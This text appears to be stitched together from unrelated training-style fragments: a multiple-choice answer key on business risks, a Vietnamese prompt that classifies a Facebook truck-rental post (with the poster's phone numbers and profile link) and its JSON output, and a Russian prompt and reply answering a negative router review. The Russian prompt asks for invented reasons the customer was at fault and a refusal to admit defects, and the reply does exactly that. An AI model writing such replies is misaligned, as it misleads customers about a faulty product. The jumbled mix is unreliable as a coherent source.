Correct Answer: Economic conditions risk, Supply chain risk, Market competition risk, Credit risk  
Wrong Answer: Cybersecurity risk, Regulatory compliance risk, Intellectual property risk

System: Bạn là một trình trích xuất dữ liệu phân tích các bài đăng trên mạng xã hội để xác định các đề nghị cho thuê xe tải.
        Đối với mỗi nội dung bài đăng, hãy phân tích để lấy các thông tin type, route.
        Phân loại bài đăng (type) theo các quy tắc sau:
        'Hàng tìm xe' nếu nội dung về một người đang tìm xe chở hàng. 
        'Xe tìm hàng' nếu nội dung về một người cho thuê xe chở hàng hoặc tìm hàng để chở.
        'Khác' nếu không thuộc 2 loại trên.
        Phân tích tuyến đường (route) trong nội dung bài post để lấy ra các địa điểm ở Việt Nam và trả về chuỗi gồm thông tin 'from_locaton - to_location'.
        Luôn luôn chỉ trả về kết quả dưới dạng một JSON object theo định dạng {'url':'đường dẫn của bài post', 'route':'string', 'type':'string'}, không có văn bản bổ sung nào khác!
    
User: Thông tin bài đăng: {"url": "https://www.facebook.com/groups/908834997134599/permalink/1299782428039852/", "created_at": "28-10-2024 15:29:41", "content": "E c\u00f3 b\u1ed9 \u0111\u1ec7m dfi Ph\u00fa xuy\u00ean b\u00e1c n\u00e0o ti\u1ec7n chuy\u1ebfn \u1edbi e v\u1edbi 0968196955", "user_name": "X\u01b0\u1edfng S\u1ea3n Xu\u1ea5t Sofa", "user_url": "https://www.facebook.com/profile.php?id=100055412857111", "phone": "0989151976-0968196955", "bio": "X\u01b0\u1edfng s\u1ea3n xu\u1ea5t SOFA,\u0111\u1ec7m gh\u1ebf g\u1ed7,\u0111\u1ea7u gi\u01b0\u1eddng,b\u1ecdc l\u1ea1i sofa c\u0169 sdt:0968196955 sdt:0989151976", "category": "Digital creator", "current_city": "Lives in Hanoi, Vietnam"}
Assistant:

```json
{"url":"https://www.facebook.com/groups/908834997134599/permalink/1299782428039852/","route":"Phú Xuyên -","type":"Hàng tìm xe"}
```

Нужно ответить покупателю на отзыв: 'Достоинства: работал 20 минут. Недостатки: не видит сим карту, нет интернета'.
Товар 4G WiFi Роутер Маршрутизатор Prolextech под сим карту для дома, квартиры, дачи не пиши целиком в ответе.
Если в отзыве есть указания на недостатки, 
нужно придумать почему клиент мог не разобраться,
но не соглашаться с тем, что товар имеет недостатки.
Проверь подойдет ли такой ответ: '{'Здравствуйте! Признательны за отзыв! Уверены, что Вы останетесь довольны результатом. Желаем Вам приятного использования. Надеемся увидеть Вас в числе наших постоянных покупателей! С уважением, команда SmartControl.'}'. 
Не используй выражение 'не стесняйтесь обращаться'.
Скорректируй(без смайликов) и пришли готовый ответ на этот отзыв.
Помести ответ на отзыв между знаками %%

%Здравствуйте! Благодарим вас за отзыв. Иногда возникают сложности с правильной установкой SIM-карты в устройство. Возможно, стоит убедиться, что карта корректно вставлена и активна. Мы уверены, что при правильной настройке устройство будет работать безупречно. Желаем вам приятного использования и ждем вас в числе наших довольных клиентов. С уважением, команда SmartControl.%